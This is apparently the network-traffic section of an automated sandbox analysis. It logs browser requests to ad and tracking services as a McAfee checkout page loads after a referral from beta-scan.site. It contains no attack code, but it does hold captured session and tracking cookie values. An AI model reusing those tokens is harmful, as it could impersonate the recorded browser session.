Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/740246542?random=1727968793173&cv=11&fst=1727968793173&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/740246542?random=1727968793182&cv=11&fst=1727968793182&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/740246542?random=1727968793197&cv=11&fst=1727968793197&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/740246542?random=1727968793205&cv=11&fst=1727968793205&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view%3Becomm_prodid%3D663%3Becomm_pagetype%3Dhome HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/ss/mcafeewwconsumermain/1/JS-2.22.4/s76665566141826?AQB=1&ndh=1&pf=1&t=3%2F9%2F2024%2011%3A19%3A51%204%20240&sdid=2490DEFD0841EF15-183BA7116461F29E&mid=49443056025243886783586588993950607490&aamlh=6&ce=UTF-8&ns=mcafeeconsumer&cdp=2&g=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html&r=https%3A%2F%2Fbeta-scan.site%2F&cc=usd&events=event25%2Cevent28%2Cevent200%2Cevent243%2Cevent1&products=%3B663%3B%3B%3B%3BeVar61%3Dpaid&aamb=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&c1=payment&v1=payment&l2=6a99f253-6888-47ce-8b47-55b36a90c42e&c5=%5Bconsumer%3Aweb%5Dcart&v5=%5Bconsumer%3Aweb%5Dcart&c6=%5Bconsumer%3Aweb%5Dbilling%20and%20payment&v6=%5Bconsumer%3Aweb%5Dbilling%20and%20payment&c7=Page%20Name-payment&c8=www.mcafee.com&v8=new&c9=en-us&v9=en-us&v13=1494%3Adirect_aff_cj&v14=direct&c15=consumer&v15=consumer&v18=unknown&v20=na&v21=united%20states&v23=8%3A00AM&v24=Thursday&v27=default&c31=singlepage%20v4&v31=singlepage%20v4&c33=web&v33=web&v35=usd&v36=creditcard&v37=new&v86=663-1%20years&v114=cj&v115=creative%2Bclicks%2Busa%2Bcn&v124=direct&v128=am&v130=partnerlinks_e740f130819a11ef82fd372f0a18ba73&v132=cj&v175=mcafee%C2%AE%20pc%20optimizer%7Cmcafee%2B%E2%84%A2%20advanced%20-%20individual&v179=%2489.99&v198=undefined%7Cundefined%7Cundefined&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=A729776A5245B1590A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: smetrics.mcafee.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bm_sz=1807BD1A6AF8E59448DF32F5D71968E6~YAAQivAQAr4GWzGSAQAAgBr3UhnK2UWF+PpXeD+156Qrc9BLv+FO5q43SH5f/anN3MFGrHG9SshI06GcvX3tKsVTRupKWlJ2e2m/g0CQpJgmSWMDWyhN/r9YiyFFpYymUwmtIjUwwbjPrjVY5iHAKJcwm+WkItg1/eGtishtD33gmvlHfmV01AP3YRi50SkKbl66/8DG4aJr9S1ibPWpfq1FfzgbJZ9f66MwgWTVliSXvwOp2hu+GuJeH1cQjuGNOpEx1ft1dFfRGNhX2KzdbbI2gtXP9Shc9CeBjjZNFZ7meW7Uat16mMc/6h51eg7yvpdF4H6q7RAYYaIL4/cCxRjx9tVSRMDTQSG9JwElfTE5o42EocvLzhsjOMR8iszILrOL~4276802~3163704; check=true; mbox=session#e7ad738e0a10482dbf603618faf110ad#1727970641\|PC#e7ad738e0a10482dbf603618faf110ad.37_0#1791213581; mboxEdgeCluster=37; _abck=224095C5949EA2DD975C7178229E56FB~-1~YAAQivAQAuoIWzGSAQAAdyn3Ugx8du1dIbJpQZqFjVV6AN9/g6V5Acz/QMF72+F2EDMmBXHmRkCWmK7UpCIHQ1nO27+LyZBqYZZEM9ernXbmahD8Iwyk16ibvyBw1Vkd2bMUe2E/sXSxB5RssyMfrn3chIscripdD8JY552wYnwqfbrO62Ib5jpdRUFN6X6JGaZytA2Rgn+hGOBlax1Fjv8QaY1Yl/HSE/H714i7yvTPTvhIMoKcnky0LIrLhQEn+z+c6JJvfMSzGC4Wx6VPmLWZ2rhP4h6EAMaHExM+9t9ESXYmYcsWAjRNt+06J8J0+cErDYa1jcYgjgEjbgLMShZy0UCTCagXRir1ah9tY1QZmRUS/uWCBDMm0rYjh1xC1xecvpi/yzgVcyRqIkjYn2
Source: global traffic	HTTP traffic detected: GET /iu3?pid=65e43844-67af-4e22-8a96-8d2d226fd5eb&event=AddToCart&_rnd=0.2050440943967049 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Zv62GgAAAM1jKwN6 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=57375863586382987474250180290899850175; dextp=60-1-1727968792356
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=ee368d02060e3515920ad96e8a6b18d6d6ee11d4d9fcab2cc7158f39f50e421eb0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mcafeeinc.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=57375863586382987474250180290899850175; dextp=60-1-1727968792356
Source: global traffic	HTTP traffic detected: GET /rec/page HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.js HTTP/1.1Host: collector-30568.us.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iu3?pid=65e43844-67af-4e22-8a96-8d2d226fd5eb&event=AddToCart&_rnd=0.2050440943967049&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A58NrcA3jk1co0wqD978tpA\|t
Source: global traffic	HTTP traffic detected: GET /active/mcafee.jsp HTTP/1.1Host: www.upsellit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wi/ytc.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/ss/mcafeewwconsumermain/1/JS-2.22.4/s76665566141826?AQB=1&ndh=1&pf=1&t=3%2F9%2F2024%2011%3A19%3A51%204%20240&sdid=2490DEFD0841EF15-183BA7116461F29E&mid=49443056025243886783586588993950607490&aamlh=6&ce=UTF-8&ns=mcafeeconsumer&cdp=2&g=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html&r=https%3A%2F%2Fbeta-scan.site%2F&cc=usd&events=event25%2Cevent28%2Cevent200%2Cevent243%2Cevent1&products=%3B663%3B%3B%3B%3BeVar61%3Dpaid&aamb=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&c1=payment&v1=payment&l2=6a99f253-6888-47ce-8b47-55b36a90c42e&c5=%5Bconsumer%3Aweb%5Dcart&v5=%5Bconsumer%3Aweb%5Dcart&c6=%5Bconsumer%3Aweb%5Dbilling%20and%20payment&v6=%5Bconsumer%3Aweb%5Dbilling%20and%20payment&c7=Page%20Name-payment&c8=www.mcafee.com&v8=new&c9=en-us&v9=en-us&v13=1494%3Adirect_aff_cj&v14=direct&c15=consumer&v15=consumer&v18=unknown&v20=na&v21=united%20states&v23=8%3A00AM&v24=Thursday&v27=default&c31=singlepage%20v4&v31=singlepage%20v4&c33=web&v33=web&v35=usd&v36=creditcard&v37=new&v86=663-1%20years&v114=cj&v115=creative%2Bclicks%2Busa%2Bcn&v124=direct&v128=am&v130=partnerlinks_e740f130819a11ef82fd372f0a18ba73&v132=cj&v175=mcafee%C2%AE%20pc%20optimizer%7Cmcafee%2B%E2%84%A2%20advanced%20-%20individual&v179=%2489.99&v198=undefined%7Cundefined%7Cundefined&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=A729776A5245B1590A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: smetrics.mcafee.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bm_sz=1807BD1A6AF8E59448DF32F5D71968E6~YAAQivAQAr4GWzGSAQAAgBr3UhnK2UWF+PpXeD+156Qrc9BLv+FO5q43SH5f/anN3MFGrHG9SshI06GcvX3tKsVTRupKWlJ2e2m/g0CQpJgmSWMDWyhN/r9YiyFFpYymUwmtIjUwwbjPrjVY5iHAKJcwm+WkItg1/eGtishtD33gmvlHfmV01AP3YRi50SkKbl66/8DG4aJr9S1ibPWpfq1FfzgbJZ9f66MwgWTVliSXvwOp2hu+GuJeH1cQjuGNOpEx1ft1dFfRGNhX2KzdbbI2gtXP9Shc9CeBjjZNFZ7meW7Uat16mMc/6h51eg7yvpdF4H6q7RAYYaIL4/cCxRjx9tVSRMDTQSG9JwElfTE5o42EocvLzhsjOMR8iszILrOL~4276802~3163704; check=true; mbox=session#e7ad738e0a10482dbf603618faf110ad#1727970641\|PC#e7ad738e0a10482dbf603618faf110ad.37_0#1791213581; mboxEdgeCluster=37; _abck=224095C5949EA2DD975C7178229E56FB~-1~YAAQivAQAuoIWzGSAQAAdyn3Ugx8du1dIbJpQZqFjVV6AN9/g6V5Acz/QMF72+F2EDMmBXHmRkCWmK7UpCIHQ1nO27+LyZBqYZZEM9ernXbmahD8Iwyk16ibvyBw1Vkd2bMUe2E/sXSxB5RssyMfrn3chIscripdD8JY552wYnwqfbrO62Ib5jpdRUFN6X6JGaZytA2Rgn+hGOBlax1Fjv8QaY1Yl/HSE/H714i7yvTPTvhIMoKcnky0LIrLhQEn+z+c6JJvfMSzGC4Wx6VPmLWZ2rhP4h6EAMaHExM+9t9ESXYmYcsWAjRNt+06J8J0+cErDYa1jcYgjgEjbgLMShZy0UCTCagXRir1ah9tY1QZmRUS/uWCBDMm0rYjh1xC1xecvpi/yzgVcyRqIkjYn25N1o0ztbcax25HC5T7DUbsQhlTl/Texb4xFQ==~-1~-1~-1; AKA_A2=A; Afnsc=cii=7c9c4deb-6b74-4c17-990e-42b236c27974&sei=8acf8fa7-e5d1-4fcf-a31c-63b9fff4b7db; RT="z=1&dm=mcafee.com&si=019611b4-ff3e-402f-8f26-fe1775744e3e&ss=m1tfzrcr&sl=1&tt=0&b
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Zv62GgAAAM1jKwN6 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=57375863586382987474250180290899850175; dextp=60-1-1727968792356; dpm=57375863586382987474250180290899850175
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=ee368d02060e3515920ad96e8a6b18d6d6ee11d4d9fcab2cc7158f39f50e421eb0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=57375863586382987474250180290899850175; dextp=60-1-1727968792356; dpm=57375863586382987474250180290899850175
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1727968793142&cv=11&fst=1727968793142&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
